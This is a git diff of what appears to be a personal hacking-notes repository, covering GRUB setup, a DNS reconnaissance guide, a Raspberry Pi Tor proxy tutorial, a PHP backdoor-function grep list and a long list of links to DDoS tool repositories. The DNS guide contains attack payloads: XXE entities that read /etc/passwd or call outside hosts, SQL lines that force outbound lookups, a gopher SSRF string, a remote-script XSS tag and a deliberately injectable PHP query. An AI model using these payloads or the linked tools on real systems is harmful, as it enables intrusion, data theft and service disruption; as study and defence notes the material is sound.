Crontab](http://null-byte.wonderhowto.com/how-to/hack-like-pro-linux-basics-for-aspiring-hacker-part-18-scheduling-jobs-0154969/) + +- [10 Useful scp commands](http://www.tecmint.com/scp-commands-examples/) + +- [Bash shortcuts for productivity](http://www.skorks.com/2009/09/bash-shortcuts-for-maximum-productivity/) + +- [Linux Bash Shell Cheat Sheet](http://cli.learncodethehardway.org/bash_cheat_sheet.pdf) + +- [Rise of Linux, a Hacker History](http://www.linuxuser.co.uk/features/rise-of-linux-a-hackers-history) + +- [9 commands to check hard disk partitions and disk space](http://www.binarytides.com/linux-command-check-disk-partitions/) + +- [Checking Memory Usage in Linux](http://www.tecmint.com/check-memory-usage-in-linux/) + +- [Usermode commands example](http://www.tecmint.com/usermod-command-examples/) + + [1] Encoding is a problem between Python 2 and Python 3: + + - In Python 2, a UTF-8 environment, len(" 美 國 ") is 6 and "美國 "[0] is a string containing the byte 0xe7 (which is the first byte of the three that encode 美 in UTF-8). + + - In Python 3, len("美國") is 2 (it's two Unicode characters), and " 美國"[0] is the string "美" (the first character in the string). + + - Each version of Python provides a data type that produces the other version's default behavior (the Unicode type in Python 2 and the bytes type in Python 3). + + +---------------------- + + +# Hacking Tools + +## Privilege Escalation + +* [Unix Privilege Escalation Exploits by years](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack). + +## Folders + +### SSH Hacking + +- getting unencrypted ssh keys from memory + + + +### Shellshock + +- scripts +- POCs + +--- + +## UNIX Exploits + +### RPC Daemons + +* rexd (remote execution): remote user runs a program on the system as a local user. + +* rshd, rlogind, sshd: honor trust relationship established with the source's IP address. + diff --git a/Linux_Hacking/ShellShocker/.DS_Store b/Linux_Hacking/ShellShocker/.DS_Store deleted file mode 100644 index c183484..0000000 Binary files a/Linux_Hacking/ShellShocker/.DS_Store and /dev/null differ diff --git a/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/memoring.md b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/memoring.md new file mode 100644 index 0000000..2c13ed2 --- /dev/null +++ b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/memoring.md @@ -0,0 +1 @@ +whoa, i was into some cool stuff back in the day diff --git a/Linux_Hacking/intro_GRUB.md b/Linux_Hacking/intro_GRUB.md new file mode 100644 index 0000000..4f4bd71 --- /dev/null +++ b/Linux_Hacking/intro_GRUB.md @@ -0,0 +1,37 @@ +# Grub Configuration + +## Understanding MBR and EFI + +BIOS/MBR is an older partition table type also referred to as Legacy mode. Nowadays, UEFI is in most of the new computer (especially those that came with W8 or W8.1 pre-installed). UEFI always use the gpt partition table type. + +To find out each one your computer uses, you can boot into your computers Bios/firmware. Besides, to see if it is UEFI: + +``` +$ efibootmgr +``` + +In a UEFI install, the ```grub.cfg``` file belongs in ```/boot/efi/EFI/fedora/grub.cfg```. In a msdos/MBR install, ```grub.cfg``` belongs in ```/boot/grub2/grub.cfg```. + +Extra: to see your partitions, you can type: +``` +$ gdisk -l /dev/sda +``` + +## Modifying Grub Options + +Edit ```/etc/default/grub```. For example, setting: + +``` +GRUB_DEFAULT="0" +``` + +After that, type the ```grub2-mkconfig``` command. In a MBR boot: + +``` +$ grub2-mkconfig -o /boot/grub2/grub.cfg +``` + +In an EFI boot: +``` +$ grub2-mkconfig -o /boot/efi/EFI/fedora/grub.cfg +``` \ No newline at end of file diff --git a/Mobile/README.md b/Mobile_Hacking/README.md similarity index 77% rename from Mobile/README.md rename to Mobile_Hacking/README.md index bd55139..20c571e 100644 --- a/Mobile/README.md +++ b/Mobile_Hacking/README.md @@ -1,8 +1,5 @@ -# Mobile - - -## iOS - -### PoCs +# Mobile Hacking * [Demo: iOS Extension Masque Attack](https://www.youtube.com/watch?t=130&v=rmIp2-k-TCU) + + diff --git a/Network_and_802.11/.DS_Store b/Network_and_802.11/.DS_Store deleted file mode 100644 index 6731235..0000000 Binary files a/Network_and_802.11/.DS_Store and /dev/null differ diff --git a/Network_and_802.11/DNS_recon.md b/Network_and_802.11/DNS_recon.md new file mode 100644 index 0000000..ded611f --- /dev/null +++ b/Network_and_802.11/DNS_recon.md @@ -0,0 +1,375 @@ +# DNS Recon Guide + + +## DNS Recursive requests + +Where did my packet go? + +``` +$ nslookup -q=mx <website> +``` + +??????? + +``` +192.168.0.1 => 8.8.8.8 => X.root-servers.net => Authoritative server ==> ? +``` + +There are lots of different record types: + +### A: Get an IP address + +```sh +$ dig @8.8.8.8 -t A www.google.com +; (1 server found) +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 140 +;; flags: qr rd ra; QUERY: 1, ANSWER: 16, AUTHORITY: 0, ADDITIONAL: 1 + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 512 +;; QUESTION SECTION: +;www.google.com. IN A + +;; ANSWER SECTION: +www.google.com. 151 IN A 167.206.12.84 +.... + +;; Query time: 46 msec +;; SERVER: 8.8.8.8#53(8.8.8.8) +;; WHEN: Mon Sep 29 13:55:31 EDT 2014 +;; MSG SIZE rcvd: 299 + +``` + +### AAAA: Get an IPv6 address + +```sh +$ dig @8.8.8.8 -t AAAA www.google.com +; (1 server found) +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21322 +;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 512 +;; QUESTION SECTION: +;www.google.com. IN AAAA + +;; ANSWER SECTION: +www.google.com. 299 IN AAAA 2607:f8b0:4006:80a::1011 + +;; Query time: 31 msec +;; SERVER: 8.8.8.8#53(8.8.8.8) +;; WHEN: Mon Sep 29 13:55:44 EDT 2014 +;; MSG SIZE rcvd: 71 +``` + +### MX: Mail server +```sh +$ dig @8.8.8.8 -t MX www.google.com +; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> @8.8.8.8 -t MX www.google.com +; (1 server found) +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63724 +;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 512 +;; QUESTION SECTION: +;www.google.com. IN MX + +;; AUTHORITY SECTION: +google.com. 41 IN SOA ns1.google.com. dns-admin.google.com. 1568903 7200 1800 1209600 300 + +;; Query time: 29 msec +;; SERVER: 8.8.8.8#53(8.8.8.8) +;; WHEN: Mon Sep 29 13:57:48 EDT 2014 +;; MSG SIZE rcvd: 93 +``` + +### CNAME + +```sh +$ dig @8.8.8.8 -t CNAME www.google.com + +; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> @8.8.8.8 -t CNAME www.google.com +; (1 server found) +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9080 +;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 512 +;; QUESTION SECTION: +;www.google.com. IN CNAME + +;; AUTHORITY SECTION: +google.com. 59 IN SOA ns1.google.com. dns-admin.google.com. 1568903 7200 1800 1209600 300 + +;; Query time: 30 msec +;; SERVER: 8.8.8.8#53(8.8.8.8) +;; WHEN: Mon Sep 29 13:58:23 EDT 2014 +;; MSG SIZE rcvd: 93 + +``` + +### TXT: Text Data + +Any sort of binary. + +```sh +dig @8.8.8.8 -t TXT www.google.com + +; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> @8.8.8.8 -t TXT www.google.com +; (1 server found) +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39345 +;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 512 +;; QUESTION SECTION: +;www.google.com. IN TXT + +;; AUTHORITY SECTION: +google.com. 59 IN SOA ns1.google.com. dns-admin.google.com. 1568903 7200 1800 1209600 300 + +;; Query time: 29 msec +;; SERVER: 8.8.8.8#53(8.8.8.8) +;; WHEN: Mon Sep 29 13:59:01 EDT 2014 +;; MSG SIZE rcvd: 93 +``` + +### Packet Structure + +Header: + + +```sh +$ dig @8.8.8.8 -t A www.google.com +; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> @8.8.8.8 -t A www.google.com +; (1 server found) +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25803 +;; flags: qr rd ra; QUERY: 1, ANSWER: 16, AUTHORITY: 0, ADDITIONAL: 1 +``` + +Where: + +* ID +* Opcode +* flags: qr rd ra +* status: RCODE +* QUERY +* ANSWER +* AUTHORITY +* ADDTIONAL +* + +A query for ANY works because the TYPE of record is returned: + +```sh +$ dig @8.8.8.8 -t ANY google.com + +; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> @8.8.8.8 -t ANY google.com +; (1 server found) +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64648 +;; flags: qr rd ra; QUERY: 1, ANSWER: 28, AUTHORITY: 0, ADDITIONAL: 1 + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 512 +;; QUESTION SECTION: +;google.com. IN ANY + +;; ANSWER SECTION: +google.com. 299 IN A 167.206.10.221 +... +google.com. 21599 IN SOA ns1.google.com. dns-admin.google.com. 2014021800 7200 1800 1209600 300 +google.com. 3599 IN TXT "v=spf1 include:_spf.google.com ip4:216.73.93.70/31 ip4:216.73.93.72/31 ~all" +google.com. 599 IN MX 40 alt3.aspmx.l.google.com. +... + +;; Query time: 30 msec +;; SERVER: 8.8.8.8#53(8.8.8.8) +;; WHEN: Mon Sep 29 15:14:48 EDT 2014 +;; MSG SIZE rcvd: 640 +``` + +--- + + +## Reverse DNS + +Works identically, but has a record of the type of PTR (and particular way of formatting the IP address backward). + +How frequently is it trusted? + + +--- + +## Security + + +### Recon with DNS + +DNS is allowed off every network. Most traffic gets blocked by firewalls, but not the internet. DNS traffic foes through the router. + +All requests to *.somesite.com go to its DNS server. + + + +### Cross-site Scripting in Logs + +Cross-site scripting occurs when HTML runs in somebody else's browser. + +For example, you can set the user-agent to `<img src="http://somesite.com/img.jpg">` and then watch the DNS server. + +1. HTTP Request is sent to a vulnerable server. +2. HTML is returned. +3. DNS request is sent. +4. NXDOMAIN = "host not found" + +So: + +1. A packet capture will look completely innocent. +2. We aren't directly connecting off the network so firewalls will never know. + +We can tell when a service wants to make a connection, without the connection succeeding, and without the service even attempting to make the connection. + + + +### SQL Injection + +Two SQL queries that should cause a DNS lookup: + +``` +EXEC sp_addlinkedserver 'somsite.com'. N'A'; +``` + +and + +``` +SELECT 1 INTO OUTFILE "\\cba.skullseclabs.org\C$"; +``` + +Results: data theft, shell access, arbitrary read. + + +### XXE + +XXE: returns to XML external entity attacks and lets you include files from the filesystem. + +``` +<!ENTITY xxe SYSTEM "file:///etc/passwd">]> +<foo>&xxe;></foo> +``` + +And also files from remote servers: + +``` +<!ENTITY xxe SYSTEM "http://www.google.ca">]> +<foo>&xee;</foo> +``` + +### Finding XXE + +Grab a resource from a domain: + +``` +<!ENTITY xxe SYSTEM "http://aab.skullseclabs.org">]> + +<foo> &xxe; </foo> +``` + +Even if there is a firewall, and a weird filesystem and the file isn't send back to the user, you can still detect XXE! + +### Gopher + +If you ask a server to make a request for: + +``` +gopher://internal-ip:25/AHELO%0AMAIL+FROM... +``` + +If you can get a service to fetch an arbitrary gopher://URL, such as through XXE, you can attack back-end services. + +Having to use DNS to exploit this is unlikely. + +## PHP bad fopen() + +Very similar to XXE. + +Old versions of PHP allowed Internet links (http://...) in fopen() + +Arbitrary file read, gopher:// issues again. + + +### Shell injection + +Simply inject a DNS lookup into every field. + +Full server access + + +### DNS Lookups + +Untrusted. + +Exploit: + +Setting TXT record will change email field to a list of databases: + +```sql +$addr = gethostbyaddr($_SERVER['REMOTE_ADDR'])) +$details = print_r(dns_get_record($addr), true); +mysql_query("UPDATE users SET password='$details' WHERE username="$username'"); +``` + +### Cross-site scripting + +The following is a valid CNAME, MX, TXT, PTR: + +``` +<script/src="http://javaop.com/test-js.js'></script> +``` + + +### DNS Re-binding + +First, we look at how you can smuggle untrusted data to a protected server. +Then how to smuggle data off a protected server to the attack. + +1. The user ends up at a evil page. They look it up via DNS. + +2. The user is sent to an evil server. + +3. While there, a session is created (authentication, cookies, etc.) + +4. The session refreshes, with another DNS lookup + +5. This time the evil DNS server sends them to a trusted service. The browser does not realize the server has changed. + +6. The session eventually refreshes, triggering another DNS lookup + +7. Any cookies/local storage/etc. can be accessed. The browser thinks its the same origin. + +This show two attacks: + +1. Using re-binding to sneak data into a trusted context by switching from an evil IP to a trusted one. +2. Using re-binding to sneak data out of a trusted context by switching from a trusted IP to an evil one. + + + +Advice: + +- Look at you DNS traffic, keep an eye for anomalies +- A spike in traffic can mean a DNS backdoor or some malware. ☠️ \ No newline at end of file diff --git a/Network_and_802.11/Ddos_Attacks/Botnets/README.md b/Network_and_802.11/Ddos_Attacks/Botnets/README.md new file mode 100644 index 0000000..0ceb501 --- /dev/null +++ b/Network_and_802.11/Ddos_Attacks/Botnets/README.md @@ -0,0 +1,5 @@ +# Botnets + + +- [Report from InfoSec Inst.](http://resources.infosecinstitute.com/win32lethic-botnet-analysis/?utm_content=buffer8dfde&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer) + diff --git a/Network_and_802.11/Ddos_Attacks/Botnets/malicious.txt b/Network_and_802.11/Ddos_Attacks/Botnets/malicious.txt new file mode 100755 index 0000000..f5e258f --- /dev/null +++ b/Network_and_802.11/Ddos_Attacks/Botnets/malicious.txt @@ -0,0 +1,94 @@ +# strings for finding backdoor shells, rootkits, botnets, and exploitable functions +# grep -Rn "shell *(" /var/www + +passthru +shell_exec +system +phpinfo +base64_decode +chmod +mkdir +fopen +fclose +readfile +php_uname +eval +edoced_46esab +popen +include +create_function +mysql_execute +php_uname +proc_open +pcntl_exec +`` +include_once +require +require_once +posix_mkfifo +posix_getlogin +posix_ttyname +getenv +get_current_user +proc_get_status +get_cfg_var +disk_free_space +disk_total_space +diskfreespace +getcwd +getlastmo +getmygid +getmyinode +getmypid +getmyuid +assert +extract +parse_str +putenv +ini_set +pfsockopen +fsockopen +apache_child_terminate +posix_kill +posix_setpgid +posix_setsid +posix_setuid +tmpfile +bzopen +gzopen +chgrp +chown +copy +file_put_contents +lchgrp +lchown +link +mkdir +move_uploaded_file +symlink +tempnam +imagecreatefromgif +imagecreatefromjpeg +imagecreatefrompng +imagecreatefromwbmp +imagecreatefromxbm +imagecreatefromxpm +ftp_put +ftp_nb_put +exif_read_data +read_exif_data +exif_thumbnail +exif_imagetype +hash_file +hash_hmac_file +hash_update_file +md5_file +sha1_file +highlight_file +show_source +php_strip_whitespace +get_meta_tags +str_repeat +unserialize +register_tick_function +register_shutdown_function diff --git a/Network_and_802.11/Ddos_Attacks/README.md b/Network_and_802.11/Ddos_Attacks/README.md new file mode 100644 index 0000000..c986659 --- /dev/null +++ b/Network_and_802.11/Ddos_Attacks/README.md @@ -0,0 +1,112 @@ +# DDOS Resources + + +* [AYAMKAUDOSER](https://github.com/kerambit5005/AYAMKAUDOSER). +* [EducationalDDos](https://github.com/LLawliet-L/EducationalDDos). +* [Codigos](https://github.com/yansantosxx/Codigos). +* [Blackv1](https://github.com/poisonhack/Blackv1). +* [DDos-Tool-Attacking](https://github.com/ttbooter/DDos-Tool-Attacking). +* [Ddos_Trojan_Cuk)](https://github.com/anasfuck06/Ddos_Trojan_Cuk). +* [Backsh3ll-Ddos](https://github.com/Ghostnibba/Backsh3ll-Ddos). +* [ddos-script](https://github.com/Miscellaneous0/ddos-script). +* [broadsword](https://github.com/bhammond604/broadsword) +* [Xerxes](https://github.com/Karna-A/Xerxes). +* [Tool-DDOS](https://github.com/xHadesvn/Tool-DDOS). +* [wgettor](https://github.com/imhajes/wgettor). +* [X-BOT](https://github.com/Unknown2x/X-BOT). +* [BOOTER-MENU](https://github.com/XHackerX7/BOOTER-MENU). +* [FiveMTool](https://github.com/BuizenBeernd/FiveMTool). +* [DiearatorReLogger](https://github.com/OpenSourceWepaonry/DiearatorReLogger). +* [Monster-DDoS-Tool](https://github.com/FelipeTrote/Monster-DDoS-Tool). +* [Ddos-Attacker](https://github.com/TheAMLHacker/Ddos-Attacker). +* [STAV](https://github.com/AlkanV/STAV). +* [dos-attack)](https://github.com/vikas-singh-cse/dos-attack). +* [ddos-too](https://github.com/B0SS92O/ddos-tool). +* [PyDoS](https://github.com/FinlayDaG33k/PyDoS). +* [ddosd-cpp](https://github.com/aclapolli/ddosd-cpp). +* [bullDDOSer](https://github.com/GNSPS/bullDDOSer). +* [DDOS](https://github.com/drakelam/Tool-DDOS). +* [BLACK-PHANTOM-CYBER/DDOS](https://github.com/rohitsubr/DDOS). +* [DDOS2](https://github.com/BLACK-PHANTOM-CYBER/DDOS2). +* [Ddos-Scripts-1](https://github.com/skizap/Ddos-Scripts-1). +* [ddos](https://github.com/DevOnOFW/ddos). +* [DDoS](https://github.com/unregistered436/DDoS). +* [tools_agility_183](https://github.com/ehc-io/tools_agility_183). +* [DDOS-RED](https://github.com/DARYAXE/DDOS-RED). +* [DDos-Attack](https://github.com/dvcyber/DDos-Attack). +* [AllToolsDDOS](https://github.com/MrWHITE-13/AllToolsDDOS). +* [DDoS](https://github.com/Khachatur01/DDoS). +* [DDoS-Attack-Tools](https://github.com/rjbangla360/DDoS-Attack-Tools). +* [shddos](https://github.com/Androidnaster/shddos). +* [Haxx0rDDoS](https://github.com/ChillerDragon/Haxx0rDDoS). +* [byte-ddos](https://github.com/EH30/byte-ddos). +* [synack](https://github.com/edubart/synack). +* [lulzdos](https://github.com/rouze-d/lulzdos). +* [HOIC](https://github.com/adibi4A/HOIC). +* [ddosSGDvsDT-)](https://github.com/HadesDos/ddosSGDvsDT-). +* [007](https://github.com/B0RU70/007). +* [Zombie-DDoS](https://github.com/saurass/Zombie-DDoS). +* [DDOSattack](https://github.com/MrEagle404/DDOSattack). +* [DDOS-Tools](https://github.com/ahmednofal/DDOS-Tools). +* [pureddos](https://github.com/EH30/pureddos). +* [BLACK-PHANTOM-CYBER/DDOS-BPC](https://github.com/BLACK-PHANTOM-CYBER/DDOS-BPC). +* [uxdos](https://github.com/UltimateX2049X/uxdos). +* [INDONESIA_DDOS](https://github.com/IqbalDev/INDONESIA_DDOS). +* [termddos](https://github.com/shanitarini/termddos). +* [DDOS](https://github.com/slayer45321/DDOS). +* [DIYF](https://github.com/YamkaFox/DIYF). +* [LOIC](https://github.com/BPCATTACKER/LOIC). +* [Xburner](https://github.com/XspiderPY/Xburner). +* [Danz-DDoS](https://github.com/Danz17/Danz-DDoS). +* [Ddos-Attack](https://github.com/AbdXH4K3r/Ddos-Attack). +* [Raptor](https://github.com/IndonesianSecurity/Raptor). +* [Amplification-ddos-tool](https://github.com/Exloit/Amplification-ddos-tool). +* [SpongeDos](https://github.com/JLynx69/SpongeDos). +* [ddos](https://github.com/FctmAttacker/ddos). +* [Black](https://github.com/CloudyZx/Black). +* [Saphyra](https://github.com/laorynas/Saphyra). +* [DDOS](https://github.com/Ardian-KW/DDOS). +* [PyDDoS](https://github.com/kennedy69/PyDDoS). +* [DDOSER](https://github.com/iinc0gnit0/DDOSER). +* [DDos-Attack](https://github.com/M0HAM3D/DDos-Attack). +* [Tools-DDOS](https://github.com/TheSploit/Tools-DDOS). +* [Turbo-Fire](https://github.com/LucasFonsecadosSantos/Turbo-Fire). +* [ToolsForFlood](https://github.com/mat50013/DDosTools/tree/master/ToolsForFlood). +* [D.ATTACK](https://github.com/JoyGhoshs/D.ATTACK). +* [DDoS-Tools-V2](https://github.com/COLAK-C/DDoS-Tools-V2). +* [TDoS](https://github.com/Bl4ckDr460n/TDoS). +* [MrDdos](https://github.com/MrTamfanX/MrDdos). +* [OVERTNET](https://github.com/OV3RTK1LL/OVERTNET). +* [PyDos](https://github.com/DeadSec-Team/PyDos). +* [syn-attack](https://github.com/magbone/syn-attack). +* [dark-fantasy-hack-tool](https://github.com/ritvikb99/dark-fantasy-hack-tool). +* [Ddos-Attack](https://github.com/jayakusuma07/Ddos-Attack). +* [RessTools](https://github.com/RealRess/RessTools). +* [DDOS-TOLLs](https://github.com/MertOzerdem/DDOS-TOLLs). +* [ddos-tools](https://github.com/ddos-scripts2020/ddos-tools). +* [dos](https://github.com/wongedan123/dos). +* [DDoS-Tools](https://github.com/COLAK-C/DDoS-Tools). +* [lucky-dos](https://github.com/azkacrows19/lucky-dos). +* [webdos-ddoser](https://github.com/Anlos0023/webdos-ddoser). +* [spin.py](https://github.com/Bloods171/TOOLS/blob/master/spin.py). +* [cyclone-jet-rocket](https://github.com/crazyboycjr/cyclone-jet-rocket). +* [Downer](https://github.com/TU4NDsecver/Downer). +* [DDOS](https://github.com/10ca1h0st/DDOS). +* [Memcrashed-DDoS-Exploit-Free](https://github.com/R00tS3c/Memcrashed-DDoS-Exploit-Free). +* [DdosAttack2019](https://github.com/P3terJ4mes/DdosAttack2019). +* [DDoS](https://github.com/thehackingsage/DDoS). +* [ddos-vault](https://github.com/crocs-muni/ddos-vault). +* [Memcrashed-DDoS-Exploit_withoutShodan)](https://github.com/tai-euler/Memcrashed-DDoS-Exploit_withoutShodan). +* [CF-Cannon](https://github.com/LevyHsu/CF-Cannon). +* [pyddoz](https://github.com/0x01h/pyddoz). +* [kira](https://github.com/chrisenytc/kira). +* [DAVOSET](https://github.com/MustLive/DAVOSET). +* [saddam-plus-plus](https://github.com/merkjinx/saddam-plus-plus). +* [saddam-plus-plus](https://github.com/merkjinx/saddam-plus-plus). +* [ddostor](https://github.com/thelinuxchoice/ddostor). +* [Memcrashed-DDoS-Exploit](https://github.com/649/Memcrashed-DDoS-Exploit). +* [Pegasus-Meteors-Ddos](https://github.com/Cha0smagick/Pegasus-Meteors-Ddos). +* [ddostor](https://github.com/thelinuxchoice/ddostor). +* [Mr.SIP)](https://github.com/meliht/Mr.SIP). +* [dark-fantasy-hack-tool](https://github.com/ritvikb99/dark-fantasy-hack-tool). + diff --git a/Network_and_802.11/README.md b/Network_and_802.11/README.md index 5662eac..b6268b0 100644 --- a/Network_and_802.11/README.md +++ b/Network_and_802.11/README.md @@ -1,6 +1,5 @@ -# Network and 802.11 +# Network and 802.11 Hacking -My resources in networking and wireless hacking. ## Packages: @@ -97,7 +96,7 @@ My resources in networking and wireless hacking. ## Useful Tools in General -- [Wireshark](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html) +- [Wireshark](http://https://singularity-sh.vercel.app/wiresharking-for-fun-or-profit.html) - tshark - OpenVPN - OpenSSL diff --git a/Network_and_802.11/TOR_proxy_in_RaspPi.md b/Network_and_802.11/TOR_proxy_in_RaspPi.md new file mode 100644 index 0000000..2d05c46 --- /dev/null +++ b/Network_and_802.11/TOR_proxy_in_RaspPi.md @@ -0,0 +1,325 @@ +# A Tor Proxy in a Raspberry Pi + + +In this tutorial, I walk through all the steps to set up a Tor proxy in a Raspberry Pi (Model B). This work was based on some of the tutorials from Adafruit. + +# Setting Up a Raspberry Pi + +## Installing an Operating System in the SD card + +[You can either install NOOBS and then choose your OS](http://www.raspberrypi.org/help/noobs-setup). + +[Or you can download the Fedora ARM Installer and the OS image you prefer](http://fedoraproject.org/wiki/FedoraARMInstaller). + +## Network Setup + +The easiest way is to connect your Pi in the network is through an Ethernet interface. Connecting the cable should be allowed the connection directly as long as your network router enable DHCP. + +Also, you can also set up wireless connect, which requires your router to be broadcasting the SSID. At Raspbian, there is a WiFi configuration icon. Type wlan0 adapter and scan. After connecting in your network you will also be able to see the IP of your Pi. + +## Input/Output Setup + +The easiest way to connect to your Pi is by an HDMI cable to a monitor and a USB keyboard. Another option is through a console cable or an SSH connection. + +## Connection through a Console Cable (3.3V logic levels) + +The connections are to the outside pin connections of the GPIO header: + +``` +The red lead should be connected to 5V. +The black lead to GND, +The white lead to TXD. +The green lead to RXD. +If the serial lead (red) is connected, do not attach the Pi's USB power adapter. +``` + +In Linux you can use screen: +``` +$ sudo apt-get install screen +$ sudo screen /dev/ttyUSB0 115200 +``` + +In Windows, you can use a terminal emulation such as Putty and the drivers from this (link)[http://www.prolific.com.tw/US/ShowProduct.aspx?p_id=225&pcid=41]. Verify the number of the COM serial port in the Device manager and connect with speed 115200. + +## SSH Connection + +You need to enable SSH on the Pi: + +``` +$ sudo raspi-config +``` + +Find Pi's IP by: +``` +$ sudo ifconfig +``` + +From your Linux PC (using "pi" as the user): +``` +$ sudo PI-IP -l pi +``` + +You can (should) set RSA keys. In a terminal session on the Linux client enter: +``` +$ mkdir ~/.ssh +$ chmod 700 ~/.ssh +$ ssh-keygen -t rsa +``` + +Now copy the public key over to the Pi by typing in the client: +``` +$ ssh-copy-id <userid>@<hostname or ip address> +``` + +## Setting up a Wi-Fi Access Point + +You need an ethernet cable and a WiFi adapter. First, check if you see the wlan0 (the WiFi) module: +``` +$ ifconfig -a +``` + +### DHCP Server Configuration + +Install the software that will act as the hostap (host access point): +``` +$ sudo apt-get install hostapd isc-dhcp-server +``` + +If the Pi cannot get the apt-get repositories: +``` +$ sudo apt-get update +``` + +Edit ```/etc/networks/interfaces```: +``` +auto lo + +iface lo inet loopback +iface eth0 inet dhcp + +allow-hotplug wlan0 + +iface wlan0 inet static + address 192.168.42.1 + netmask 255.255.255.0 +``` + +Then edit the DHCP server configuration file, ```/etc/dhcp/dhcpd.conf```: +``` +subnet 192.168.42.0 netmask 255.255.255.0 { +range 192.168.42.10 192.168.42.50; +option broadcast-address 192.168.42.255; +option routers 192.168.42.1; +default-lease-time 600; +max-lease-time 7200; +option domain-name "local"; +option domain-name-servers 8.8.8.8, 8.8.4.4; +} +``` + +Now, add the bellow line to ```/etc/default/isc-dhcp-server```: +``` +INTERFACES="wlan0" +``` + +Restart the network: +``` +$ sudo /etc/init.d/networking restart +``` + +### IP Forwarding + +Enable IP forwarding and setting up NAT to allow multiple clients to connect to the WiFi and have all the data 'tunneled' through the single Ethernet IP: +``` +$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward +$ sudo nano /etc/sysctl.conf +``` +Uncomment the next line to enable packet forwarding for IPv4: +``` +net.ipv4.ip_forward=1 +``` +And update: +``` +sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward" +``` + +### Firewall Configuration + +We insert an iptables rule to allow NAT (network address translation): +``` +$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +$ iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT +$ iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT +``` + +To make the above true in every reboot: +``` +$ sudo sh -c "iptables-save > /etc/iptables.ipv4.nat" +``` + +For additional security (it blocks access from RFC 1918 subnets on your internet (eth0) interface as well as ICMP (ping) packets and ssh connections.): +``` +$ sudo iptables -A INPUT -s 192.168.0.0/24 -i eth0 -j DROP +$ sudo iptables -A INPUT -s 10.0.0.0/8 -i eth0 -j DROP +$ sudo iptables -A INPUT -s 172.16.0.0/12 -i eth0 -j DROP +$ sudo iptables -A INPUT -s 224.0.0.0/4 -i eth0 -j DROP +$ sudo iptables -A INPUT -s 240.0.0.0/5 -i eth0 -j DROP +$ sudo iptables -A INPUT -s 127.0.0.0/8 -i eth0 -j DROP +$ sudo iptables -A INPUT -i eth0 -p tcp -m tcp --dport 22 -j DROP +$ sudo iptables -A INPUT -i eth0 -p icmp -m icmp --icmp-type 8 -j DROP +$ sudo iptables-save > /etc/iptables.up.rules +``` + +If you want to see how many packets your firewall is blocking: +``` +$ iptables -L -n -v +``` +If your eth0 still shows a private address, it probably didn't renew when you moved it to your modem. Fix this by running: +``` +$ sudo ifdown eth0 && sudo ifup eth0 +``` + +## Access Point Configuration + +Configure Access Point with hostpad, editing ```/etc/hostapd/hostapd.conf```: +``` +interface=wlan0 +driver=rtl871xdrv +ssid=Pi_AP +hw_mode=g +channel=6 +macaddr_acl=0 +auth_algs=1 +ignore_broadcast_ssid=0 +wpa=2 +wpa_passphrase=Raspberry +wpa_key_mgmt=WPA-PSK +wpa_pairwise=TKIP +rsn_pairwise=CCMP +``` + +Now we will tell the Pi where to find this configuration file in /etc/default/hostapd: +``` +DAEMON_CONF="/etc/hostapd/hostapd.conf" +``` + +And start the access point by running hostpad: +``` +$ hostapd -d /etc/hostapd/hostapd.conf +``` + +To start automatically, add the command to ```/etc/rc.local```: +``` +$ hostapd -B /etc/hostapd/hostapd.conf +``` + +### Logs and Status + +To see the system log data, run in the Pi: +``` +$ tail -f /var/log/syslog +``` + +You can always check the status of the host AP server and the DHCP server with: +``` +$ sudo service hostapd status +$ sudo service isc-dhcp-server status +``` + +### Setting up a Daemon + +Now that we know it works, we can set it up as a 'daemon' (a program that will start when the Pi boots): +``` +$ sudo service hostapd start +$ sudo service isc-dhcp-server start +``` + +To start the daemon services. Verify that they both start successfully (no 'failure' or 'errors') +``` +$ sudo update-rc.d hostapd enable +$ sudo update-rc.d isc-dhcp-server enable +``` + +### Removing WPA-Supplicant + +Depending on your distribution, you may need to remove WPASupplicant. Do so by running this command: +``` +sudo mv /usr/share/dbus-1/system-services/fi.epitest.hostap.WPASupplicant.service ~/ +``` + +## Setting up the Tor Proxy + +You now have a wirelesses access point in your Pi. To make it a Tor proxy, first install Tor: +``` +$ sudo apt-get install tor +``` 